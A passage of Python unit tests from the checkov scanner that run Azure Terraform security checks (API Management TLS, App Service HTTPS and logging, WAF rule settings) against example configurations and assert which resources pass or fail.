vm_size = "Standard_D2_v2" } identity { type = "SystemAssigned" } tags = { Environment = "Production" } } """) resource_conf = hcl_res['resource'][0]['azurerm_kubernetes_cluster']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_APIManagementBackendHTTPS.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.APIManagementBackendHTTPS import check from checkov.terraform.runner import Runner class TestAPIManagementBackendHTTPS(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_APIManagementBackendHTTPS" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "azurerm_api_management_backend.pass", } failing_resources = { "azurerm_api_management_backend.fail", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_APIManagementCertsEnforced.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.APIManagementCertsEnforced import check from checkov.terraform.runner import Runner class TestAPIManagementCertsEnforced(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_APIManagementCertsEnforced" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "azurerm_api_management.pass", } failing_resources = { "azurerm_api_management.fail", "azurerm_api_management.fail2", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_APIManagementMinTLS12.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.APIManagementMinTLS12 import check from checkov.terraform.runner import Runner class TestAPIManagementMinTLS12(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_APIManagementMinTLS12" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "azurerm_api_management.pass", } failing_resources = { "azurerm_api_management.fail", "azurerm_api_management.fail2", "azurerm_api_management.fail3", "azurerm_api_management.fail4", "azurerm_api_management.fail5", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passed_check_resources)) self.assertEqual(summary["failed"], len(failed_check_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_APIManagementPublicAccess.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.APIManagementPublicAccess import check from checkov.terraform.runner import Runner class TestAPIManagementPublicAccess(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_APIManagementPublicAccess" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "azurerm_api_management.pass", } failing_resources = { "azurerm_api_management.fail", "azurerm_api_management.fail2", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_APIServicesUseVirtualNetwork.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.APIServicesUseVirtualNetwork import check from checkov.common.models.enums import CheckResult class TestAPIServicesUseVirtualNetwork(unittest.TestCase): def test_failure(self): hcl_res = hcl2.loads(""" resource "azurerm_api_management" "example" { name = "example-apim" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name publisher_name = "My Company" publisher_email = "company@terraform.io" sku_name = "Developer_1" policy { xml_content = < XML } } """) resource_conf = hcl_res['resource'][0]['azurerm_api_management']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "azurerm_api_management" "example" { name = "example-apim" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name publisher_name = "My Company" publisher_email = "company@terraform.io" sku_name = "Developer_1" virtual_network_configuration { subnet_id = azure_subnet.subnet_not_public_ip.id } policy { xml_content = < XML } } """) resource_conf = hcl_res['resource'][0]['azurerm_api_management']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_ActiveDirectoryUsedAuthenticationServiceFabric.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.ActiveDirectoryUsedAuthenticationServiceFabric import check from checkov.common.models.enums import CheckResult class TestActiveDirectoryUsedAuthenticationServiceFabric(unittest.TestCase): def test_failure(self): hcl_res = hcl2.loads(""" resource "azurerm_service_fabric_cluster" "example" { name = "example-servicefabric" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location reliability_level = "Bronze" upgrade_mode = "Manual" cluster_code_version = "7.1.456.959" vm_image = "Windows" management_endpoint = "https://example:80" node_type { name = "first" instance_count = 3 is_primary = true client_endpoint_port = 2020 http_endpoint_port = 80 } } """) resource_conf = hcl_res['resource'][0]['azurerm_service_fabric_cluster']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "azurerm_service_fabric_cluster" "example" { name = "example-servicefabric" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location reliability_level = "Bronze" upgrade_mode = "Manual" cluster_code_version = "7.1.456.959" vm_image = "Windows" management_endpoint = "https://example:80" azure_active_directory { tenant_id = "tenant" } node_type { name = "first" instance_count = 3 is_primary = true client_endpoint_port = 2020 http_endpoint_port = 80 } } """) resource_conf = hcl_res['resource'][0]['azurerm_service_fabric_cluster']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AppConfigEncryption.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.azure.AppConfigEncryption import check class TestAppConfigEncryption(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_AppConfigEncryption") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'azurerm_app_configuration.pass' } failing_resources = { 'azurerm_app_configuration.fail', 'azurerm_app_configuration.fail2' } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AppConfigLocalAuth.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.azure.AppConfigLocalAuth import check class TestAppConfigLocalAuth(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_AppConfigLocalAuth") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'azurerm_app_configuration.pass' } failing_resources = { 'azurerm_app_configuration.fail', 'azurerm_app_configuration.fail2' } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AppConfigPublicAccess.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.azure.AppConfigPublicAccess import check class TestAppConfigPublicAccess(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_AppConfigPublicAccess") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'azurerm_app_configuration.pass' } failing_resources = { 'azurerm_app_configuration.fail' } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AppConfigPurgeProtection.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.azure.AppConfigPurgeProtection import check class TestAppConfigPurgeProtection(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_AppConfigPurgeProtection") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'azurerm_app_configuration.pass' } failing_resources = { 'azurerm_app_configuration.fail', 'azurerm_app_configuration.fail2' } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AppConfigSku.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.azure.AppConfigSku import check class TestAppConfigSku(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_AppConfigSku") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'azurerm_app_configuration.pass' } failing_resources = { 'azurerm_app_configuration.fail', 'azurerm_app_configuration.fail2' } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AppGWDefinesSecureProtocols.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.azure.AppGWDefinesSecureProtocols import check class TestAppGWDefinesSecureProtocols(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_AppGWDefinesSecureProtocols") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'azurerm_application_gateway.pass', 'azurerm_application_gateway.pass2', 'azurerm_application_gateway.pass_dynamic_bug' } failing_resources = { 'azurerm_application_gateway.fail', 'azurerm_application_gateway.fail2', 'azurerm_application_gateway.fail3', 'azurerm_application_gateway.fail4', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AppGWUsesHttps.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.azure.AppGWUsesHttps import check class TestAppGWUsesHttps(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_AppGWUsesHttps") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'azurerm_application_gateway.pass' } failing_resources = { 'azurerm_application_gateway.fail', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AppGatewayWAFACLCVE202144228.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.AppGatewayWAFACLCVE202144228 import check from checkov.terraform.runner import Runner class TestAppGatewayWAFACLCVE202144228(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_AppGatewayWAFACLCVE202144228" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "azurerm_web_application_firewall_policy.owasp_3_1_default", "azurerm_web_application_firewall_policy.owasp_3_2_default", "azurerm_web_application_firewall_policy.version_3_1_default", "azurerm_web_application_firewall_policy.owasp_3_1_disabled_different", "azurerm_web_application_firewall_policy.empty_disabled_rules" } failing_resources = { "azurerm_web_application_firewall_policy.owasp_3_0", "azurerm_web_application_firewall_policy.owasp_3_1_disabled", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) # check especially for the evaluated keys actual_evaluated_keys = next( c.check_result["evaluated_keys"] for c in report.failed_checks if c.resource == "azurerm_web_application_firewall_policy.owasp_3_1_disabled" ) expected_evaluated_keys = [ "managed_rules/[0]/managed_rule_set[0]/type", "managed_rules/[0]/managed_rule_set[0]/version", "managed_rules/[0]/managed_rule_set[0]/rule_group_override/[0]/rule_group_name", "managed_rules/[0]/managed_rule_set[0]/rule_group_override/[0]/disabled_rules", ] self.assertCountEqual(expected_evaluated_keys, actual_evaluated_keys) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AppServiceAlwaysOn.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.azure.AppServiceAlwaysOn import check class TestAppServiceAlwaysOn(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_AppServiceAlwaysOn") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'azurerm_linux_web_app.pass', 'azurerm_linux_web_app.pass2', 'azurerm_windows_web_app.pass', 'azurerm_windows_web_app.pass2', } failing_resources = { 'azurerm_windows_web_app.fail', 'azurerm_linux_web_app.fail', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AppServiceAuthentication.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.azure.AppServiceAuthentication import check class TestAppServiceAuthentication(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_AppServiceAuthentication") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'azurerm_app_service.pass', 'azurerm_windows_web_app.pass', 'azurerm_linux_web_app.pass', 'azurerm_windows_web_app.pass2', 'azurerm_linux_web_app.pass2', } failing_resources = { 'azurerm_app_service.fail', 'azurerm_app_service.fail2', 'azurerm_windows_web_app.fail', 'azurerm_linux_web_app.fail', 'azurerm_windows_web_app.fail2', 'azurerm_linux_web_app.fail2', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AppServiceClientCertificate.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.azure.AppServiceClientCertificate import check class TestAppServiceClientCertificate(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_AppServiceClientCertificate") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'azurerm_app_service.pass', 'azurerm_windows_web_app.pass', 'azurerm_linux_web_app.pass' } failing_resources = { 'azurerm_app_service.fail', 'azurerm_app_service.fail2', 'azurerm_windows_web_app.fail', 'azurerm_linux_web_app.fail', 'azurerm_windows_web_app.fail2', 'azurerm_linux_web_app.fail2' } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AppServiceDetailedErrorMessagesEnabled.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.azure.AppServiceDetailedErrorMessagesEnabled import check class TestAppServiceClientCertificate(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_AppServiceDetailedErrorMessagesEnabled") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'azurerm_app_service.pass', 'azurerm_app_service.pass2', 'azurerm_windows_web_app.pass', 'azurerm_linux_web_app.pass', } failing_resources = { 'azurerm_app_service.fail', 'azurerm_app_service.fail2', 'azurerm_app_service.fail3', 'azurerm_windows_web_app.fail', 'azurerm_linux_web_app.fail', 'azurerm_windows_web_app.fail2', 'azurerm_linux_web_app.fail2', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AppServiceDisallowedCORS.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.azure.AppServiceDisallowCORS import check class TestAppServiceClientCertificate(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_AppServiceDisallowCORS") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'azurerm_app_service.pass', 'azurerm_app_service.pass2', 'azurerm_windows_web_app.pass', 'azurerm_linux_web_app.pass', 'azurerm_windows_web_app.pass2', 'azurerm_linux_web_app.pass2', } failing_resources = { 'azurerm_app_service.fail', 'azurerm_windows_web_app.fail', 'azurerm_linux_web_app.fail', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AppServiceDotnetFrameworkVersion.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.azure.AppServiceDotnetFrameworkVersion import check class TestAppServiceDotnetFrameworkVersion(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_AppServiceDotnetFrameworkVersion") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'azurerm_app_service.pass', # v8.0 'azurerm_app_service.pass2', # v9.0 'azurerm_app_service.pass3', # v10.0 'azurerm_windows_web_app.pass', # v8.0 'azurerm_windows_web_app.pass2', # v9.0 'azurerm_windows_web_app.pass3', # v10.0 } failing_resources = { 'azurerm_app_service.fail', # v5.0 EOL 'azurerm_app_service.fail2', # v6.0 EOL 'azurerm_windows_web_app.fail', # v2.0 EOL 'azurerm_windows_web_app.fail2', # v6.0 EOL } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AppServiceEnableFailedRequest.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.azure.AppServiceEnableFailedRequest import check class TestAppServiceClientCertificate(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_AppServiceEnableFailedRequest") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'azurerm_app_service.pass', 'azurerm_windows_web_app.pass', 'azurerm_linux_web_app.pass', } failing_resources = { 'azurerm_app_service.fail', 'azurerm_app_service.fail2', 'azurerm_app_service.fail3', 'azurerm_windows_web_app.fail', 'azurerm_linux_web_app.fail', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AppServiceEnvironmentZoneRedundant.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.AppServiceEnvironmentZoneRedundant import check from checkov.terraform.runner import Runner class TestAppServiceEnvironmentZoneRedundant(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_AppServiceEnvironmentZoneRedundant" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "azurerm_app_service_environment_v3.pass", } failing_resources = { "azurerm_app_service_environment_v3.fail1", "azurerm_app_service_environment_v3.fail2", } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AppServiceFTPSState.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.azure.AppServiceFTPSState import check class TestAppServiceClientCertificate(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_AppServiceFTPSState") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'azurerm_app_service.pass', 'azurerm_app_service.pass2', 'azurerm_windows_web_app.pass', 'azurerm_linux_web_app.pass', } failing_resources = { 'azurerm_app_service.fail', 'azurerm_app_service.fail2', 'azurerm_windows_web_app.fail', 'azurerm_linux_web_app.fail', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AppServiceHTTPSOnly.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.azure.AppServiceHTTPSOnly import check class TestAppServiceHTTPSOnly(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_AppServiceHTTPSOnly") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'azurerm_app_service.pass', 'azurerm_windows_web_app.pass', 'azurerm_linux_web_app.pass', } failing_resources = { 'azurerm_app_service.fail', 'azurerm_windows_web_app.fail', 'azurerm_linux_web_app.fail', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AppServiceHttpLoggingEnabled.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.azure.AppServiceHttpLoggingEnabled import check class TestAppServiceHttpLoggingEnabled(unittest.TestCase): def test(self): runner = Runner() current_dir = 